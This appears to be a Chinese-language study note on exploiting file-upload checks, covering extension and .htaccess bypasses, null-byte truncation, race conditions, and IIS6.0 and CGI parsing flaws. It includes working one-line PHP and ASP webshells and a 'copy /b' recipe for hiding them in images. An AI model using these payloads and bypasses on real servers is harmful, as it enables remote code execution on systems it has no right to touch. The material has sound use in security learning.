文件上传
1.前后端检测:使用BurpSuite抓包,有数据包为后端,无数据包为前端。
文件马成功的两个核心条件:
1.成功上传图片马到服务器,且图片马中的恶意代码保存完整
2.文件马被php解析器(asp解析器)解析
2.分类:
PHP:
前端检测:
白名单:允许上传什么。
黑名单:不允许上传什么。
绕过:
1.关闭js。
2.抓包修改。
后端检测:
白名单:允许上传什么。
00截断:
%00和00就是代表一个结束符。
例如:1.php%00.jpg。
条件竞争:
两个(线程)同时去抢(资源),不知道到底哪个能抢到,此处便形成了竞争。
可以使用BurpSuit去跑,一个疯狂上传,一个疯狂访问。
就是和服务器的删除函数,进行竞争。
黑名单:不允许上传什么。
1.文件后缀类型绕过:
php: php、 phtml、php3、php4、php5
jsp: jap、jspx、jspf
asp: asa、cer、aspx
ext: exee
2. .htaccess文件绕过:
让文件去写一句话木马:AddType application/x-httpd-php .jpg 这个指令代表有.jpg文件会当做php解析。
将这句代码放进txt文件,将文件名修改成功.htaccess,然后上传它就可以了。
3.文件后缀大小写绕过。
4.文件后缀(空/空格)绕过。
5.文件后缀(点)绕过。
6.Windows文件流绕过NTFS::$DATA利用windows特性,可在后缀名中加::$DATA 绕过。
7.构造文件后缀绕过,如php..
8.双写文件后缀绕过。如pphphp
<?php
eval( $_REQUEST['a'] );
?> $_POST接收post传参
$_REQUEST 接收post,get,cookie(高于5.4版本不接受cookie传参)
eval()作用是执行括号内的内容
总结
接收$a的传参,并执行
ASP:
前端检测:
白名单:允许上传什么。
黑名单:不允许上传什么。
绕过:
1.关闭js。
2.抓包修改。
后端检测:
白名单:
IIS6.0解析漏洞(二)[IIS5.1和IIS7.5无此漏洞]:
IIS6.0在处理含有特殊符号的文件路径时会出现错误,从而造成文件解析漏洞。
a.asp;.jpg 当做asp进行解析。
IIS6.0解析漏洞(三)[IIS5.1和IIS7.5无此漏洞]:
IIS6.0在处理含有特殊符号的文件路径时会出现错误,从而造成文件解析漏洞。
a.asp/123.jpg 它将当做asp进行解析。
请求a.asp/x.jpg
这相当于构建了一个新的文件夹a.asp,凡是这个文件夹里的文件都会以asp去执行。
黑名单:
IIS6.0解析漏洞(一)[不是漏洞,只是默认配置的问题][适合拿来绕过黑名单机制]:
IIS6.0将文件后缀名字为.asa .cer .cdx都会当做asp去解析。
这是因为IIS6.0在应用程序扩展中默认设置了.asa .cer .cdx都会调用asp.dll
解决方法:直接将相应配置删掉即可。
CGI(中间件)解析漏洞:
CGI是什么?
简单的说,可以理解为是web服务器和独立程序之间的管家,服务器将a类型文件,交给CGI,CGI交给处理a类型文件的程序
当访问www.xx.com/phpinfo.jpg/1.php这个url。
CGI一看是php后缀结尾,便给php程序去执行,php去找名字为“phpinfo.jpg”的文件夹,没找到,便去找“phpinfo.jpg”的文件,找到后执行。
漏洞本质:少了再次检测的环节
仅用于php。
这是一个逻辑问题,所以说我们只需要在正常的.jpg后边加/.php就可以成功绕过解析。
这不是Nginx特有的漏洞,在IIS7.0、IIS7.5等Web容器中也经常会出现这样的解析漏洞。
apache 7.0文件上传黑名单怎么绕过,详细说说
-- 改后缀(php. php_ php4 phptml php空格等)
-- htaccess文件绕过、win文件流绕过(隐写)
图片马的制作
在txt中写一句话木马,
php:?php @eval($_REQUEST['a']);?>
asp:eval request('a')%>
准备一张图片,(注意文件大小,越小越好)
打开cmd输入 copy 1.png/b + 1.txt 123.png
(将a.jpg和1.txt合并为123.jgp, /b的意思就是把它当做二进制去拷贝(注:是效果))
图片马经过二次压缩就失效了